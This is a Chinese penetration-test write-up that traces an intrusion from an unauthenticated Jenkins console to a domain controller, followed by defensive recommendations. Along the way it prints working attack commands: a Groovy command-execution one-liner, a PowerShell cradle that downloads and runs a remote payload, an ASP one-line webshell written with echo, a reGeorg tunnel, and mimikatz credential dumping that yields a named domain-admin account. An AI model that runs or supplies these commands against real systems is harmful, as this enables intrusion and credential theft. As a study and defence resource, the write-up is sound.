从Jenkins未授权到拿下域控的过程
字数 1617 2025-08-10 08:29:01

从Jenkins未授权到拿下域控的完整渗透过程

0x00 前言

本文详细记录了一次从外网Jenkins未授权漏洞入手,最终获取域控权限的完整渗透过程。包含漏洞利用、权限维持、内网转发、横向移动和域控攻防等关键环节。

0x01 初始入口获取

Jenkins未授权RCE漏洞利用

目标资产:http://122.x.x.205:8080/

  1. 发现Jenkins未授权访问漏洞
  2. 通过Groovy脚本执行系统命令确认漏洞:
    println "cmd.exe /c whoami".execute().text
    
    返回结果为nt authority\system,直接获取系统权限

系统信息收集

  • 操作系统:Windows Server 2012 x64
  • 网络环境:内网服务器
  • 安全防护:存在杀毒软件

0x02 权限维持尝试

初始上线尝试

  1. 尝试CS生成的PowerShell脚本反弹:

    powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://118.payload.ps1'))"
    

    失败,服务器HTTP协议不通

  2. 尝试MSHTA等其他常见反弹方式均失败

  3. 通过ping测试发现服务器无法访问外网

DNS隧道尝试

  1. 配置DNS隧道反弹到CS:
    • 设置域名解析和VPS地址
    • CS开启DNS监听
    • 生成DNS payload
  2. 发现无法上传payload执行

WebShell获取

  1. 发现80端口开放(IIS默认主页)

  2. 找到IIS默认目录:C:\inetpub\wwwroot\

  3. 使用echo写入ASP一句话WebShell:

    echo <%eval request("pass")%> > C:\inetpub\wwwroot\shell.asp
    

    成功获取WebShell

  4. 尝试上传aspx大马失败(权限不足)

0x03 提权与转发

提权尝试

  1. 尝试各种提权方法均失败

  2. 发现服务器安装有Git工具

  3. 通过Git clone下载文件成功:

    git clone https://github.com/xxx/
    

    文件下载到C:\ProgramData\

  4. 测试发现服务器可通过443端口出站

最终上线方法

  1. 利用Jenkins的system权限上传aspx大马到可写目录
  2. 移动到网站根目录获取完整WebShell
  3. 关键发现:设置CS监听为HTTP协议,监听端口为443可成功上线

内网转发方案

  1. 使用reGeorg进行内网转发:

    • 上传tunnel.aspx到C:\ProgramData\
    • 移动到IIS目录
    • 本地启动reGeorg监听:
      python reGeorgSocksProxy.py -p 446 -u http://122.tunnel.aspx
      
    • 配置Proxifier进行代理
  2. RDP连接问题解决:

    • 遇到"当前允许连接的用户过多"错误
    • 解决方案:
      mstsc /admin /v:192.168.15.82
      
    • 注册表修改解决加密问题:
      HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
      新建CredSSP项
      在CredSSP下新建Parameters项
      新建DWORD(32位)值AllowEncryptionOracle,值设为2
      

0x04 横向渗透

密码抓取与利用

  1. 上传mimikatz抓取当前机器管理员密码
  2. 使用超级弱口令扫描B段RDP:
    • 将抓取的密码加入字典
    • 成功扫描到8台可登录机器
    • 成功上线CS

凭证转储与横向移动

  1. 在已控机器执行hashdump获取登录凭证
  2. 横向移动到192.168.15.70192.168.15.76
  3. 信息收集发现域控:192.168.15.14

域管凭证获取

  1. 在76机器执行mimikatz抓取域用户密码,尝试登录域控失败
  2. 在70机器发现SSM服务(SQL Server Management Studio)
  3. 分析该进程可能由域管运行,内存中可能存在域管凭证
  4. 使用mimikatz成功抓取域管凭证:
    Username : Supertrans
    Domain   : TRANSASIA
    Password : XXXXXXX
    

0x05 技术总结

  1. 入口获取:通过Jenkins未授权漏洞获取初始立足点
  2. 权限维持:克服网络限制,通过多种方式尝试权限维持
  3. 内网转发:使用reGeorg建立稳定内网通道
  4. 凭证收集:抓取本地密码并用于横向移动
  5. 密码爆破:利用收集的密码爆破B段机器
  6. 域控攻击:通过服务进程分析获取域管凭证
  7. 最终控制:使用域管凭证成功控制域控服务器

0x06 防御建议

  1. Jenkins安全

    • 禁止未授权访问
    • 及时更新Jenkins版本
    • 限制Groovy脚本执行权限
  2. 网络防护

    • 严格限制服务器出站连接
    • 监控异常DNS请求
    • 限制RDP访问来源
  3. 权限管理

    • 实施最小权限原则
    • 定期更换高权限账户密码
    • 禁用不必要的服务账户
  4. 域安全

    • 启用LSA保护
    • 监控敏感服务进程的异常行为
    • 实施多因素认证
  5. 日志监控

    • 集中收集和分析安全日志
    • 设置异常行为告警
    • 定期审计特权账户活动
从Jenkins未授权到拿下域控的完整渗透过程 0x00 前言 本文详细记录了一次从外网Jenkins未授权漏洞入手,最终获取域控权限的完整渗透过程。包含漏洞利用、权限维持、内网转发、横向移动和域控攻防等关键环节。 0x01 初始入口获取 Jenkins未授权RCE漏洞利用 目标资产: http://122.x.x.205:8080/ 发现Jenkins未授权访问漏洞 通过Groovy脚本执行系统命令确认漏洞: 返回结果为 nt authority\system ,直接获取系统权限 系统信息收集 操作系统:Windows Server 2012 x64 网络环境:内网服务器 安全防护:存在杀毒软件 0x02 权限维持尝试 初始上线尝试 尝试CS生成的PowerShell脚本反弹: 失败,服务器HTTP协议不通 尝试MSHTA等其他常见反弹方式均失败 通过ping测试发现服务器无法访问外网 DNS隧道尝试 配置DNS隧道反弹到CS: 设置域名解析和VPS地址 CS开启DNS监听 生成DNS payload 发现无法上传payload执行 WebShell获取 发现80端口开放(IIS默认主页) 找到IIS默认目录: C:\inetpub\wwwroot\ 使用echo写入ASP一句话WebShell: 成功获取WebShell 尝试上传aspx大马失败(权限不足) 0x03 提权与转发 提权尝试 尝试各种提权方法均失败 发现服务器安装有Git工具 通过Git clone下载文件成功: 文件下载到 C:\ProgramData\ 测试发现服务器可通过443端口出站 最终上线方法 利用Jenkins的system权限上传aspx大马到可写目录 移动到网站根目录获取完整WebShell 关键发现:设置CS监听为HTTP协议,监听端口为443可成功上线 内网转发方案 使用reGeorg进行内网转发: 上传tunnel.aspx到 C:\ProgramData\ 移动到IIS目录 本地启动reGeorg监听: 配置Proxifier进行代理 RDP连接问题解决: 遇到"当前允许连接的用户过多"错误 解决方案: 注册表修改解决加密问题: 0x04 横向渗透 密码抓取与利用 上传mimikatz抓取当前机器管理员密码 使用超级弱口令扫描B段RDP: 将抓取的密码加入字典 成功扫描到8台可登录机器 成功上线CS 凭证转储与横向移动 在已控机器执行hashdump获取登录凭证 横向移动到 192.168.15.70 和 192.168.15.76 信息收集发现域控: 192.168.15.14 域管凭证获取 在76机器执行mimikatz抓取域用户密码,尝试登录域控失败 在70机器发现SSM服务(SQL Server Management Studio) 分析该进程可能由域管运行,内存中可能存在域管凭证 使用mimikatz成功抓取域管凭证: 0x05 技术总结 入口获取 :通过Jenkins未授权漏洞获取初始立足点 权限维持 :克服网络限制,通过多种方式尝试权限维持 内网转发 :使用reGeorg建立稳定内网通道 凭证收集 :抓取本地密码并用于横向移动 密码爆破 :利用收集的密码爆破B段机器 域控攻击 :通过服务进程分析获取域管凭证 最终控制 :使用域管凭证成功控制域控服务器 0x06 防御建议 Jenkins安全 : 禁止未授权访问 及时更新Jenkins版本 限制Groovy脚本执行权限 网络防护 : 严格限制服务器出站连接 监控异常DNS请求 限制RDP访问来源 权限管理 : 实施最小权限原则 定期更换高权限账户密码 禁用不必要的服务账户 域安全 : 启用LSA保护 监控敏感服务进程的异常行为 实施多因素认证 日志监控 : 集中收集和分析安全日志 设置异常行为告警 定期审计特权账户活动